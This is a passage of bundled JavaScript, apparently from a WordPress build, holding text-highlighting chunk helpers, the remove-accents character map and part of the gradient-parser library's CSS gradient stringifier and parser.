701 autoEscape,
702 caseSensitive,
703 sanitize: sanitize2,
704 searchWords,
705 textToHighlight
706 })
707 }),
708 totalLength: textToHighlight ? textToHighlight.length : 0
709 });
710 };
711 var combineChunks = exports2.combineChunks = function combineChunks2(_ref25) {
712 var chunks = _ref25.chunks;
713 chunks = chunks.sort(function(first, second) {
714 return first.start - second.start;
715 }).reduce(function(processedChunks, nextChunk) {
716 if (processedChunks.length === 0) {
717 return [nextChunk];
718 } else {
719 var prevChunk = processedChunks.pop();
720 if (nextChunk.start <= prevChunk.end) {
721 var endIndex = Math.max(prevChunk.end, nextChunk.end);
722 processedChunks.push({ highlight: false, start: prevChunk.start, end: endIndex });
723 } else {
724 processedChunks.push(prevChunk, nextChunk);
725 }
726 return processedChunks;
727 }
728 }, []);
729 return chunks;
730 };
731 var defaultFindChunks = function defaultFindChunks2(_ref32) {
732 var autoEscape = _ref32.autoEscape, caseSensitive = _ref32.caseSensitive, _ref3$sanitize = _ref32.sanitize, sanitize2 = _ref3$sanitize === void 0 ? defaultSanitize : _ref3$sanitize, searchWords = _ref32.searchWords, textToHighlight = _ref32.textToHighlight;
733 textToHighlight = sanitize2(textToHighlight);
734 return searchWords.filter(function(searchWord) {
735 return searchWord;
736 }).reduce(function(chunks, searchWord) {
737 searchWord = sanitize2(searchWord);
738 if (autoEscape) {
739 searchWord = escapeRegExpFn(searchWord);
740 }
741 var regex = new RegExp(searchWord, caseSensitive ? "g" : "gi");
742 var match4 = void 0;
743 while (match4 = regex.exec(textToHighlight)) {
744 var _start = match4.index;
745 var _end = regex.lastIndex;
746 if (_end > _start) {
747 chunks.push({ highlight: false, start: _start, end: _end });
748 }
749 if (match4.index === regex.lastIndex) {
750 regex.lastIndex++;
751 }
752 }
753 return chunks;
754 }, []);
755 };
756 exports2.findChunks = defaultFindChunks;
757 var fillInChunks = exports2.fillInChunks = function fillInChunks2(_ref42) {
758 var chunksToHighlight = _ref42.chunksToHighlight, totalLength = _ref42.totalLength;
759 var allChunks = [];
760 var append2 = function append3(start, end, highlight) {
761 if (end - start > 0) {
762 allChunks.push({
763 start,
764 end,
765 highlight
766 });
767 }
768 };
769 if (chunksToHighlight.length === 0) {
770 append2(0, totalLength, false);
771 } else {
772 var lastIndex = 0;
773 chunksToHighlight.forEach(function(chunk) {
774 append2(lastIndex, chunk.start, false);
775 append2(chunk.start, chunk.end, true);
776 lastIndex = chunk.end;
777 });
778 append2(lastIndex, totalLength, false);
779 }
780 return allChunks;
781 };
782 function defaultSanitize(string) {
783 return string;
784 }
785 function escapeRegExpFn(string) {
786 return string.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&");
787 }
788 })
789 /******/
790 ]);
791 }
792 });
793
794 // node_modules/remove-accents/index.js
795 var require_remove_accents = __commonJS({
796 "node_modules/remove-accents/index.js"(exports, module) {
797 var characterMap = {
798 "\xC0": "A",
799 "\xC1": "A",
800 "\xC2": "A",
801 "\xC3": "A",
802 "\xC4": "A",
803 "\xC5": "A",
804 "\u1EA4": "A",
805 "\u1EAE": "A",
806 "\u1EB2": "A",
807 "\u1EB4": "A",
808 "\u1EB6": "A",
809 "\xC6": "AE",
810 "\u1EA6": "A",
811 "\u1EB0": "A",
812 "\u0202": "A",
813 "\u1EA2": "A",
814 "\u1EA0": "A",
815 "\u1EA8": "A",
816 "\u1EAA": "A",
817 "\u1EAC": "A",
818 "\xC7": "C",
819 "\u1E08": "C",
820 "\xC8": "E",
821 "\xC9": "E",
822 "\xCA": "E",
823 "\xCB": "E",
824 "\u1EBE": "E",
825 "\u1E16": "E",
826 "\u1EC0": "E",
827 "\u1E14": "E",
828 "\u1E1C": "E",
829 "\u0206": "E",
830 "\u1EBA": "E",
831 "\u1EBC": "E",
832 "\u1EB8": "E",
833 "\u1EC2": "E",
834 "\u1EC4": "E",
835 "\u1EC6": "E",
836 "\xCC": "I",
837 "\xCD": "I",
838 "\xCE": "I",
839 "\xCF": "I",
840 "\u1E2E": "I",
841 "\u020A": "I",
842 "\u1EC8": "I",
843 "\u1ECA": "I",
844 "\xD0": "D",
845 "\xD1": "N",
846 "\xD2": "O",
847 "\xD3": "O",
848 "\xD4": "O",
849 "\xD5": "O",
850 "\xD6": "O",
851 "\xD8": "O",
852 "\u1ED0": "O",
853 "\u1E4C": "O",
854 "\u1E52": "O",
855 "\u020E": "O",
856 "\u1ECE": "O",
857 "\u1ECC": "O",
858 "\u1ED4": "O",
859 "\u1ED6": "O",
860 "\u1ED8": "O",
861 "\u1EDC": "O",
862 "\u1EDE": "O",
863 "\u1EE0": "O",
864 "\u1EDA": "O",
865 "\u1EE2": "O",
866 "\xD9": "U",
867 "\xDA": "U",
868 "\xDB": "U",
869 "\xDC": "U",
870 "\u1EE6": "U",
871 "\u1EE4": "U",
872 "\u1EEC": "U",
873 "\u1EEE": "U",
874 "\u1EF0": "U",
875 "\xDD": "Y",
876 "\xE0": "a",
877 "\xE1": "a",
878 "\xE2": "a",
879 "\xE3": "a",
880 "\xE4": "a",
881 "\xE5": "a",
882 "\u1EA5": "a",
883 "\u1EAF": "a",
884 "\u1EB3": "a",
885 "\u1EB5": "a",
886 "\u1EB7": "a",
887 "\xE6": "ae",
888 "\u1EA7": "a",
889 "\u1EB1": "a",
890 "\u0203": "a",
891 "\u1EA3": "a",
892 "\u1EA1": "a",
893 "\u1EA9": "a",
894 "\u1EAB": "a",
895 "\u1EAD": "a",
896 "\xE7": "c",
897 "\u1E09": "c",
898 "\xE8": "e",
899 "\xE9": "e",
900 "\xEA": "e",
901 "\xEB": "e",
902 "\u1EBF": "e",
903 "\u1E17": "e",
904 "\u1EC1": "e",
905 "\u1E15": "e",
906 "\u1E1D": "e",
907 "\u0207": "e",
908 "\u1EBB": "e",
909 "\u1EBD": "e",
910 "\u1EB9": "e",
911 "\u1EC3": "e",
912 "\u1EC5": "e",
913 "\u1EC7": "e",
914 "\xEC": "i",
915 "\xED": "i",
916 "\xEE": "i",
917 "\xEF": "i",
918 "\u1E2F": "i",
919 "\u020B": "i",
920 "\u1EC9": "i",
921 "\u1ECB": "i",
922 "\xF0": "d",
923 "\xF1": "n",
924 "\xF2": "o",
925 "\xF3": "o",
926 "\xF4": "o",
927 "\xF5": "o",
928 "\xF6": "o",
929 "\xF8": "o",
930 "\u1ED1": "o",
931 "\u1E4D": "o",
932 "\u1E53": "o",
933 "\u020F": "o",
934 "\u1ECF": "o",
935 "\u1ECD": "o",
936 "\u1ED5": "o",
937 "\u1ED7": "o",
938 "\u1ED9": "o",
939 "\u1EDD": "o",
940 "\u1EDF": "o",
941 "\u1EE1": "o",
942 "\u1EDB": "o",
943 "\u1EE3": "o",
944 "\xF9": "u",
945 "\xFA": "u",
946 "\xFB": "u",
947 "\xFC": "u",
948 "\u1EE7": "u",
949 "\u1EE5": "u",
950 "\u1EED": "u",
951 "\u1EEF": "u",
952 "\u1EF1": "u",
953 "\xFD": "y",
954 "\xFF": "y",
955 "\u0100": "A",
956 "\u0101": "a",
957 "\u0102": "A",
958 "\u0103": "a",
959 "\u0104": "A",
960 "\u0105": "a",
961 "\u0106": "C",
962 "\u0107": "c",
963 "\u0108": "C",
964 "\u0109": "c",
965 "\u010A": "C",
966 "\u010B": "c",
967 "\u010C": "C",
968 "\u010D": "c",
969 "C\u0306": "C",
970 "c\u0306": "c",
971 "\u010E": "D",
972 "\u010F": "d",
973 "\u0110": "D",
974 "\u0111": "d",
975 "\u0112": "E",
976 "\u0113": "e",
977 "\u0114": "E",
978 "\u0115": "e",
979 "\u0116": "E",
980 "\u0117": "e",
981 "\u0118": "E",
982 "\u0119": "e",
983 "\u011A": "E",
984 "\u011B": "e",
985 "\u011C": "G",
986 "\u01F4": "G",
987 "\u011D": "g",
988 "\u01F5": "g",
989 "\u011E": "G",
990 "\u011F": "g",
991 "\u0120": "G",
992 "\u0121": "g",
993 "\u0122": "G",
994 "\u0123": "g",
995 "\u0124": "H",
996 "\u0125": "h",
997 "\u0126": "H",
998 "\u0127": "h",
999 "\u1E2A": "H",
1000 "\u1E2B": "h",
1001 "\u0128": "I",
1002 "\u0129": "i",
1003 "\u012A": "I",
1004 "\u012B": "i",
1005 "\u012C": "I",
1006 "\u012D": "i",
1007 "\u012E": "I",
1008 "\u012F": "i",
1009 "\u0130": "I",
1010 "\u0131": "i",
1011 "\u0132": "IJ",
1012 "\u0133": "ij",
1013 "\u0134": "J",
1014 "\u0135": "j",
1015 "\u0136": "K",
1016 "\u0137": "k",
1017 "\u1E30": "K",
1018 "\u1E31": "k",
1019 "K\u0306": "K",
1020 "k\u0306": "k",
1021 "\u0139": "L",
1022 "\u013A": "l",
1023 "\u013B": "L",
1024 "\u013C": "l",
1025 "\u013D": "L",
1026 "\u013E": "l",
1027 "\u013F": "L",
1028 "\u0140": "l",
1029 "\u0141": "l",
1030 "\u0142": "l",
1031 "\u1E3E": "M",
1032 "\u1E3F": "m",
1033 "M\u0306": "M",
1034 "m\u0306": "m",
1035 "\u0143": "N",
1036 "\u0144": "n",
1037 "\u0145": "N",
1038 "\u0146": "n",
1039 "\u0147": "N",
1040 "\u0148": "n",
1041 "\u0149": "n",
1042 "N\u0306": "N",
1043 "n\u0306": "n",
1044 "\u014C": "O",
1045 "\u014D": "o",
1046 "\u014E": "O",
1047 "\u014F": "o",
1048 "\u0150": "O",
1049 "\u0151": "o",
1050 "\u0152": "OE",
1051 "\u0153": "oe",
1052 "P\u0306": "P",
1053 "p\u0306": "p",
1054 "\u0154": "R",
1055 "\u0155": "r",
1056 "\u0156": "R",
1057 "\u0157": "r",
1058 "\u0158": "R",
1059 "\u0159": "r",
1060 "R\u0306": "R",
1061 "r\u0306": "r",
1062 "\u0212": "R",
1063 "\u0213": "r",
1064 "\u015A": "S",
1065 "\u015B": "s",
1066 "\u015C": "S",
1067 "\u015D": "s",
1068 "\u015E": "S",
1069 "\u0218": "S",
1070 "\u0219": "s",
1071 "\u015F": "s",
1072 "\u0160": "S",
1073 "\u0161": "s",
1074 "\u0162": "T",
1075 "\u0163": "t",
1076 "\u021B": "t",
1077 "\u021A": "T",
1078 "\u0164": "T",
1079 "\u0165": "t",
1080 "\u0166": "T",
1081 "\u0167": "t",
1082 "T\u0306": "T",
1083 "t\u0306": "t",
1084 "\u0168": "U",
1085 "\u0169": "u",
1086 "\u016A": "U",
1087 "\u016B": "u",
1088 "\u016C": "U",
1089 "\u016D": "u",
1090 "\u016E": "U",
1091 "\u016F": "u",
1092 "\u0170": "U",
1093 "\u0171": "u",
1094 "\u0172": "U",
1095 "\u0173": "u",
1096 "\u0216": "U",
1097 "\u0217": "u",
1098 "V\u0306": "V",
1099 "v\u0306": "v",
1100 "\u0174": "W",
1101 "\u0175": "w",
1102 "\u1E82": "W",
1103 "\u1E83": "w",
1104 "X\u0306": "X",
1105 "x\u0306": "x",
1106 "\u0176": "Y",
1107 "\u0177": "y",
1108 "\u0178": "Y",
1109 "Y\u0306": "Y",
1110 "y\u0306": "y",
1111 "\u0179": "Z",
1112 "\u017A": "z",
1113 "\u017B": "Z",
1114 "\u017C": "z",
1115 "\u017D": "Z",
1116 "\u017E": "z",
1117 "\u017F": "s",
1118 "\u0192": "f",
1119 "\u01A0": "O",
1120 "\u01A1": "o",
1121 "\u01AF": "U",
1122 "\u01B0": "u",
1123 "\u01CD": "A",
1124 "\u01CE": "a",
1125 "\u01CF": "I",
1126 "\u01D0": "i",
1127 "\u01D1": "O",
1128 "\u01D2": "o",
1129 "\u01D3": "U",
1130 "\u01D4": "u",
1131 "\u01D5": "U",
1132 "\u01D6": "u",
1133 "\u01D7": "U",
1134 "\u01D8": "u",
1135 "\u01D9": "U",
1136 "\u01DA": "u",
1137 "\u01DB": "U",
1138 "\u01DC": "u",
1139 "\u1EE8": "U",
1140 "\u1EE9": "u",
1141 "\u1E78": "U",
1142 "\u1E79": "u",
1143 "\u01FA": "A",
1144 "\u01FB": "a",
1145 "\u01FC": "AE",
1146 "\u01FD": "ae",
1147 "\u01FE": "O",
1148 "\u01FF": "o",
1149 "\xDE": "TH",
1150 "\xFE": "th",
1151 "\u1E54": "P",
1152 "\u1E55": "p",
1153 "\u1E64": "S",
1154 "\u1E65": "s",
1155 "X\u0301": "X",
1156 "x\u0301": "x",
1157 "\u0403": "\u0413",
1158 "\u0453": "\u0433",
1159 "\u040C": "\u041A",
1160 "\u045C": "\u043A",
1161 "A\u030B": "A",
1162 "a\u030B": "a",
1163 "E\u030B": "E",
1164 "e\u030B": "e",
1165 "I\u030B": "I",
1166 "i\u030B": "i",
1167 "\u01F8": "N",
1168 "\u01F9": "n",
1169 "\u1ED2": "O",
1170 "\u1ED3": "o",
1171 "\u1E50": "O",
1172 "\u1E51": "o",
1173 "\u1EEA": "U",
1174 "\u1EEB": "u",
1175 "\u1E80": "W",
1176 "\u1E81": "w",
1177 "\u1EF2": "Y",
1178 "\u1EF3": "y",
1179 "\u0200": "A",
1180 "\u0201": "a",
1181 "\u0204": "E",
1182 "\u0205": "e",
1183 "\u0208": "I",
1184 "\u0209": "i",
1185 "\u020C": "O",
1186 "\u020D": "o",
1187 "\u0210": "R",
1188 "\u0211": "r",
1189 "\u0214": "U",
1190 "\u0215": "u",
1191 "B\u030C": "B",
1192 "b\u030C": "b",
1193 "\u010C\u0323": "C",
1194 "\u010D\u0323": "c",
1195 "\xCA\u030C": "E",
1196 "\xEA\u030C": "e",
1197 "F\u030C": "F",
1198 "f\u030C": "f",
1199 "\u01E6": "G",
1200 "\u01E7": "g",
1201 "\u021E": "H",
1202 "\u021F": "h",
1203 "J\u030C": "J",
1204 "\u01F0": "j",
1205 "\u01E8": "K",
1206 "\u01E9": "k",
1207 "M\u030C": "M",
1208 "m\u030C": "m",
1209 "P\u030C": "P",
1210 "p\u030C": "p",
1211 "Q\u030C": "Q",
1212 "q\u030C": "q",
1213 "\u0158\u0329": "R",
1214 "\u0159\u0329": "r",
1215 "\u1E66": "S",
1216 "\u1E67": "s",
1217 "V\u030C": "V",
1218 "v\u030C": "v",
1219 "W\u030C": "W",
1220 "w\u030C": "w",
1221 "X\u030C": "X",
1222 "x\u030C": "x",
1223 "Y\u030C": "Y",
1224 "y\u030C": "y",
1225 "A\u0327": "A",
1226 "a\u0327": "a",
1227 "B\u0327": "B",
1228 "b\u0327": "b",
1229 "\u1E10": "D",
1230 "\u1E11": "d",
1231 "\u0228": "E",
1232 "\u0229": "e",
1233 "\u0190\u0327": "E",
1234 "\u025B\u0327": "e",
1235 "\u1E28": "H",
1236 "\u1E29": "h",
1237 "I\u0327": "I",
1238 "i\u0327": "i",
1239 "\u0197\u0327": "I",
1240 "\u0268\u0327": "i",
1241 "M\u0327": "M",
1242 "m\u0327": "m",
1243 "O\u0327": "O",
1244 "o\u0327": "o",
1245 "Q\u0327": "Q",
1246 "q\u0327": "q",
1247 "U\u0327": "U",
1248 "u\u0327": "u",
1249 "X\u0327": "X",
1250 "x\u0327": "x",
1251 "Z\u0327": "Z",
1252 "z\u0327": "z",
1253 "\u0439": "\u0438",
1254 "\u0419": "\u0418",
1255 "\u0451": "\u0435",
1256 "\u0401": "\u0415"
1257 };
1258 var chars2 = Object.keys(characterMap).join("|");
1259 var allAccents = new RegExp(chars2, "g");
1260 var firstAccent = new RegExp(chars2, "");
1261 function matcher(match4) {
1262 return characterMap[match4];
1263 }
1264 var removeAccents5 = function(string) {
1265 return string.replace(allAccents, matcher);
1266 };
1267 var hasAccents = function(string) {
1268 return !!string.match(firstAccent);
1269 };
1270 module.exports = removeAccents5;
1271 module.exports.has = hasAccents;
1272 module.exports.remove = removeAccents5;
1273 }
1274 });
1275
1276 // package-external:@wordpress/rich-text
1277 var require_rich_text = __commonJS({
1278 "package-external:@wordpress/rich-text"(exports, module) {
1279 module.exports = window.wp.richText;
1280 }
1281 });
1282
1283 // package-external:@wordpress/a11y
1284 var require_a11y = __commonJS({
1285 "package-external:@wordpress/a11y"(exports, module) {
1286 module.exports = window.wp.a11y;
1287 }
1288 });
1289
1290 // package-external:@wordpress/keycodes
1291 var require_keycodes = __commonJS({
1292 "package-external:@wordpress/keycodes"(exports, module) {
1293 module.exports = window.wp.keycodes;
1294 }
1295 });
1296
1297 // package-external:@wordpress/is-shallow-equal
1298 var require_is_shallow_equal = __commonJS({
1299 "package-external:@wordpress/is-shallow-equal"(exports, module) {
1300 module.exports = window.wp.isShallowEqual;
1301 }
1302 });
1303
1304 // node_modules/gradient-parser/build/node.js
1305 var require_node = __commonJS({
1306 "node_modules/gradient-parser/build/node.js"(exports) {
1307 var GradientParser = GradientParser || {};
1308 GradientParser.stringify = /* @__PURE__ */ (function() {
1309 var visitor = {
1310 "visit_linear-gradient": function(node2) {
1311 return visitor.visit_gradient(node2);
1312 },
1313 "visit_repeating-linear-gradient": function(node2) {
1314 return visitor.visit_gradient(node2);
1315 },
1316 "visit_radial-gradient": function(node2) {
1317 return visitor.visit_gradient(node2);
1318 },
1319 "visit_repeating-radial-gradient": function(node2) {
1320 return visitor.visit_gradient(node2);
1321 },
1322 "visit_gradient": function(node2) {
1323 var orientation = visitor.visit(node2.orientation);
1324 if (orientation) {
1325 orientation += ", ";
1326 }
1327 return node2.type + "(" + orientation + visitor.visit(node2.colorStops) + ")";
1328 },
1329 "visit_shape": function(node2) {
1330 var result = node2.value, at = visitor.visit(node2.at), style2 = visitor.visit(node2.style);
1331 if (style2) {
1332 result += " " + style2;
1333 }
1334 if (at) {
1335 result += " at " + at;
1336 }
1337 return result;
1338 },
1339 "visit_default-radial": function(node2) {
1340 var result = "", at = visitor.visit(node2.at);
1341 if (at) {
1342 result += at;
1343 }
1344 return result;
1345 },
1346 "visit_extent-keyword": function(node2) {
1347 var result = node2.value, at = visitor.visit(node2.at);
1348 if (at) {
1349 result += " at " + at;
1350 }
1351 return result;
1352 },
1353 "visit_position-keyword": function(node2) {
1354 return node2.value;
1355 },
1356 "visit_position": function(node2) {
1357 return visitor.visit(node2.value.x) + " " + visitor.visit(node2.value.y);
1358 },
1359 "visit_%": function(node2) {
1360 return node2.value + "%";
1361 },
1362 "visit_em": function(node2) {
1363 return node2.value + "em";
1364 },
1365 "visit_px": function(node2) {
1366 return node2.value + "px";
1367 },
1368 "visit_calc": function(node2) {
1369 return "calc(" + node2.value + ")";
1370 },
1371 "visit_literal": function(node2) {
1372 return visitor.visit_color(node2.value, node2);
1373 },
1374 "visit_hex": function(node2) {
1375 return visitor.visit_color("#" + node2.value, node2);
1376 },
1377 "visit_rgb": function(node2) {
1378 return visitor.visit_color("rgb(" + node2.value.join(", ") + ")", node2);
1379 },
1380 "visit_rgba": function(node2) {
1381 return visitor.visit_color("rgba(" + node2.value.join(", ") + ")", node2);
1382 },
1383 "visit_hsl": function(node2) {
1384 return visitor.visit_color("hsl(" + node2.value[0] + ", " + node2.value[1] + "%, " + node2.value[2] + "%)", node2);
1385 },
1386 "visit_hsla": function(node2) {
1387 return visitor.visit_color("hsla(" + node2.value[0] + ", " + node2.value[1] + "%, " + node2.value[2] + "%, " + node2.value[3] + ")", node2);
1388 },
1389 "visit_var": function(node2) {
1390 return visitor.visit_color("var(" + node2.value + ")", node2);
1391 },
1392 "visit_color": function(resultColor, node2) {
1393 var result = resultColor, length2 = visitor.visit(node2.length);
1394 if (length2) {
1395 result += " " + length2;
1396 }
1397 return result;
1398 },
1399 "visit_angular": function(node2) {
1400 return node2.value + "deg";
1401 },
1402 "visit_directional": function(node2) {
1403 return "to " + node2.value;
1404 },
1405 "visit_array": function(elements2) {
1406 var result = "", size3 = elements2.length;
1407 elements2.forEach(function(element, i3) {
1408 result += visitor.visit(element);
1409 if (i3 < size3 - 1) {
1410 result += ", ";
1411 }
1412 });
1413 return result;
1414 },
1415 "visit_object": function(obj) {
1416 if (obj.width && obj.height) {
1417 return visitor.visit(obj.width) + " " + visitor.visit(obj.height);
1418 }
1419 return "";
1420 },
1421 "visit": function(element) {
1422 if (!element) {
1423 return "";
1424 }
1425 var result = "";
1426 if (element instanceof Array) {
1427 return visitor.visit_array(element);
1428 } else if (typeof element === "object" && !element.type) {
1429 return visitor.visit_object(element);
1430 } else if (element.type) {
1431 var nodeVisitor = visitor["visit_" + element.type];
1432 if (nodeVisitor) {
1433 return nodeVisitor(element);
1434 } else {
1435 throw Error("Missing visitor visit_" + element.type);
1436 }
1437 } else {
1438 throw Error("Invalid node.");
1439 }
1440 }
1441 };
1442 return function(root) {
1443 return visitor.visit(root);
1444 };
1445 })();
1446 var GradientParser = GradientParser || {};
1447 GradientParser.parse = /* @__PURE__ */ (function() {
1448 var tokens = {
1449 linearGradient: /^(\-(webkit|o|ms|moz)\-)?(linear\-gradient)/i,
1450 repeatingLinearGradient: /^(\-(webkit|o|ms|moz)\-)?(repeating\-linear\-gradient)/i,
1451 radialGradient: /^(\-(webkit|o|ms|moz)\-)?(radial\-gradient)/i,
1452 repeatingRadialGradient: /^(\-(webkit|o|ms|moz)\-)?(repeating\-radial\-gradient)/i,
1453 sideOrCorner: /^to (left (top|bottom)|right (top|bottom)|top (left|right)|bottom (left|right)|left|right|top|bottom)/i,
1454 extentKeywords: /^(closest\-side|closest\-corner|farthest\-side|farthest\-corner|contain|cover)/,
1455 positionKeywords: /^(left|center|right|top|bottom)/i,
1456 pixelValue: /^(-?(([0-9]*\.[0-9]+)|([0-9]+\.?)))px/,
1457 percentageValue: /^(-?(([0-9]*\.[0-9]+)|([0-9]+\.?)))\%/,
1458 emValue: /^(-?(([0-9]*\.[0-9]+)|([0-9]+\.?)))em/,
1459 angleValue: /^(-?(([0-9]*\.[0-9]+)|([0-9]+\.?)))deg/,
1460 radianValue: /^(-?(([0-9]*\.[0-9]+)|([0-9]+\.?)))rad/,
1461 startCall: /^\(/,
1462 endCall: /^\)/,
1463 comma: /^,/,
1464 hexColor: /^\#([0-9a-fA-F]+)/,
1465 literalColor: /^([a-zA-Z]+)/,
1466 rgbColor: /^rgb/i,
1467 rgbaColor: /^rgba/i,
1468 varColor: /^var/i,
1469 calcValue: /^calc/i,
1470 variableName: /^(--[a-zA-Z0-9-,\s\#]+)/,
1471 number: /^(([0-9]*\.[0-9]+)|([0-9]+\.?))/,
1472 hslColor: /^hsl/i,
1473 hslaColor: /^hsla/i
1474 };
1475 var input = "";
1476 function error(msg) {
1477 var err = new Error(input + ": " + msg);
1478 err.source = input;
1479 throw err;
1480 }
1481 function getAST() {
1482 var ast = matchListDefinitions();
1483 if (input.length > 0) {
1484 error("Invalid input not EOF");
1485 }
1486 return ast;
1487 }
1488 function matchListDefinitions() {
1489 return matchListing(matchDefinition);
1490 }
1491 function matchDefinition() {
1492 return matchGradient(
1493 "linear-gradient",
1494 tokens.linearGradient,
1495 matchLinearOrientation
1496 ) || matchGradient(
1497 "repeating-linear-gradient",
1498 tokens.repeatingLinearGradient,
1499 matchLinearOrientation
1500 ) || matchGradient(
1501 "radial-gradient",
1502 tokens.radialGradient,
1503 matchListRadialOrientations
1504 ) || matchGradient(
1505 "repeating-radial-gradient",
1506 tokens.repeatingRadialGradient,
1507 matchListRadialOrientations
1508 );
1509 }
1510 function matchGradient(gradientType, pattern, orientationMatcher) {
1511 return matchCall(pattern, function(captures) {
1512 var orientation = orientationMatcher();
1513 if (orientation) {
1514 if (!scan(tokens.comma)) {
1515 error("Missing comma before color stops");
1516 }
1517 }
1518 return {
1519 type: gradientType,
1520 orientation,
1521 colorStops: matchListing(matchColorStop)
1522 };
1523 });
1524 }
1525 function matchCall(pattern, callback) {
1526 var captures = scan(pattern);
1527 if (captures) {
1528 if (!scan(tokens.startCall)) {
1529 error("Missing (");
1530 }
1531 var result = callback(captures);
1532 if (!scan(tokens.endCall)) {
1533 error("Missing )");
1534 }
1535 return result;
1536 }
1537 }
1538 function matchLinearOrientation() {
1539 var sideOrCorner = matchSideOrCorner();
1540 if (sideOrCorner) {
1541 return sideOrCorner;
1542 }
1543 var legacyDirection = match4("position-keyword", tokens.positionKeywords, 1);
1544 if (legacyDirection) {
1545 return {
1546 type: "directional",
1547 value: legacyDirection.value
1548 };
1549 }
1550 return matchAngle();
1551 }
1552 function matchSideOrCorner() {
1553 return match4("directional", tokens.sideOrCorner, 1);
1554 }
1555 function matchAngle() {
1556 return match4("angular", tokens.angleValue, 1) || match4("angular", tokens.radianValue, 1);
1557 }
1558 function matchListRadialOrientations() {
1559 var radialOrientations, radialOrientation = matchRadialOrientation(), lookaheadCache;
1560 if (radialOrientation) {
1561 radialOrientations = [];
1562 radialOrientations.push(radialOrientation);
1563 lookaheadCache = input;
1564 if (scan(tokens.comma)) {
1565 radialOrientation = matchRadialOrientation();
1566 if (radialOrientation) {
1567 radialOrientations.push(radialOrientation);
1568 } else {
1569 input = lookaheadCache;
1570 }
1571 }
1572 }
1573 return radialOrientations;
1574 }
1575 function matchRadialOrientation() {
1576 var radialType = matchCircle() || matchEllipse();
1577 if (radialType) {
1578 radialType.at = matchAtPosition();
1579 } else {
1580 var extent = matchExtentKeyword();
1581 if (extent) {
1582 radialType = extent;
1583 var positionAt = matchAtPosition();
1584 if (positionAt) {
1585 radialType.at = positionAt;
1586 }
1587 } else {
1588 var atPosition = matchAtPosition();
1589 if (atPosition) {
1590 radialType = {
1591 type: "default-radial",
1592 at: atPosition
1593 };
1594 } else {
1595 var defaultPosition = matchPositioning();
1596 if (defaultPosition) {
1597 radialType = {
1598 type: "default-radial",
1599 at: defaultPosition
1600 };
1601 }
1602 }
1603 }
1604 }
1605 return radialType;
1606 }
1607 function matchCircle() {
1608 var circle = match4("shape", /^(circle)/i, 0);
1609 if (circle) {
1610 circle.style = matchLength() || matchExtentKeyword();
1611 }
1612 return circle;
1613 }
1614 function matchEllipse() {
1615 var ellipse = match4("shape", /^(ellipse)/i, 0);
1616 if (ellipse) {
1617 ellipse.style = matchPositioning() || matchDistance() || matchExtentKeyword();
1618 }
1619 return ellipse;
1620 }
1621 function matchExtentKeyword() {
1622 return match4("extent-keyword", tokens.extentKeywords, 1);
1623 }
1624 function matchAtPosition() {
1625 if (match4("position", /^at/, 0)) {
1626 var positioning = matchPositioning();
1627 if (!positioning) {
1628 error("Missing positioning value");
1629 }
1630 return positioning;
1631 }
1632 }
1633 function matchPositioning() {
1634 var location = matchCoordinates();
1635 if (location.x || location.y) {
1636 return {
1637 type: "position",
1638 value: location
1639 };
1640 }
1641 }
1642 function matchCoordinates() {
1643 return {
1644 x: matchDistance(),
1645 y: matchDistance()
1646 };
1647 }
1648 function matchListing(matcher) {
1649 var captures = matcher(), result = [];
1650 if (captures) {
1651 result.push(captures);
1652 while (scan(tokens.comma)) {
1653 captures = matcher();
1654 if (captures) {
1655 result.push(captures);
1656 } else {
1657 error("One extra comma");
1658 }
1659 }
1660 }
1661 return result;
1662 }
1663 function matchColorStop() {
1664 var color2 = matchColor();
1665 if (!color2) {
1666 error("Expected color definition");
1667 }
1668 color2.length = matchDistance();
1669 return color2;
1670 }
1671 function matchColor() {
1672 return matchHexColor() || matchHSLAColor() || matchHSLColor() || matchRGBAColor() || matchRGBColor() || matchVarColor() || matchLiteralColor();
1673 }
1674 function matchLiteralColor() {
1675 return match4("literal", tokens.literalColor, 0);
1676 }
1677 function matchHexColor() {
1678 return match4("hex", tokens.hexColor, 1);
1679 }
1680 function matchRGBColor() {
1681 return matchCall(tokens.rgbColor, function() {
1682 return {
1683 type: "rgb",
1684 value: matchListing(matchNumber)
1685 };
1686 });
1687 }
1688 function matchRGBAColor() {
1689 return matchCall(tokens.rgbaColor, function() {
1690 return {
1691 type: "rgba",
1692 value: matchListing(matchNumber)
1693 };
1694 });
1695 }
1696 function matchVarColor() {
1697 return matchCall(tokens.varColor, function() {
1698 return {
1699 type: "var",
1700 value: matchVariableName()
1701 };
1702 });
1703 }
1704 function matchHSLColor() {
1705 return matchCall(tokens.hslColor, function() {
1706 var lookahead = scan(tokens.percentageValue);
1707 if (lookahead) {
1708 error("HSL hue value must be a number in degrees (0-360) or normalized (-360 to 360), not a percentage");
1709 }
1710 var hue = matchNumber();
1711 scan(tokens.comma);
1712 var captures = scan(tokens.percentageValue);
1713 var sat = captures ? captures[1] : null;
1714 scan(tokens.comma);
1715 captures = scan(tokens.percentageValue);
1716 var light = captures ? captures[1] : null;
1717 if (!sat || !light) {
1718 error("Expected percentage value for saturation and lightness in HSL");
1719 }
1720 return {
1721 type: "hsl",
1722 value: [hue, sat, light]
1723 };
1724 });
1725 }
1726 function matchHSLAColor() {
1727 return matchCall(tokens.hslaColor, function() {
1728 var hue = matchNumber();
1729 scan(tokens.comma);
1730 var captures = scan(tokens.percentageValue);
1731 var sat = captures ? captures[1] : null;
1732 scan(tokens.comma);
1733 captures = scan(tokens.percentageValue);
1734 var light = captures ? captures[1] : null;
1735 scan(tokens.comma);
1736 var alpha2 = matchNumber();
1737 if (!sat || !light) {
1738 error("Expected percentage value for saturation and lightness in HSLA");
1739 }
1740 return {
1741 type: "hsla",
1742 value: [hue, sat, light, alpha2]
1743 };
1744 });
1745 }
1746 function matchPercentage() {
1747 var captures = scan(tokens.percentageValue);
1748 return captures ? captures[1] : null;
1749 }
1750 function matchVariableName() {
1751 return scan(tokens.variableName)[1];
1752 }
1753 function matchNumber() {
1754 return scan(tokens.number)[1];
1755 }
1756 function matchDistance() {
1757 return match4("%", tokens.percentageValue, 1) || matchPositionKeyword() || matchCalc() || matchLength();
1758 }
1759 function matchPositionKeyword() {
1760 return match4("position-keyword", tokens.positionKeywords, 1);
1761 }
1762 function matchCalc() {
1763 return matchCall(tokens.calcValue, function() {
1764 var openParenCount = 1;
1765 var i3 = 0;
1766 while (openParenCount > 0 && i3 < input.length) {
1767 var char2 = input.charAt(i3);
1768 if (char2 === "(") {
1769 openParenCount++;
1770 } else if (char2 === ")") {
1771 openParenCount--;
1772 }
1773 i3++;
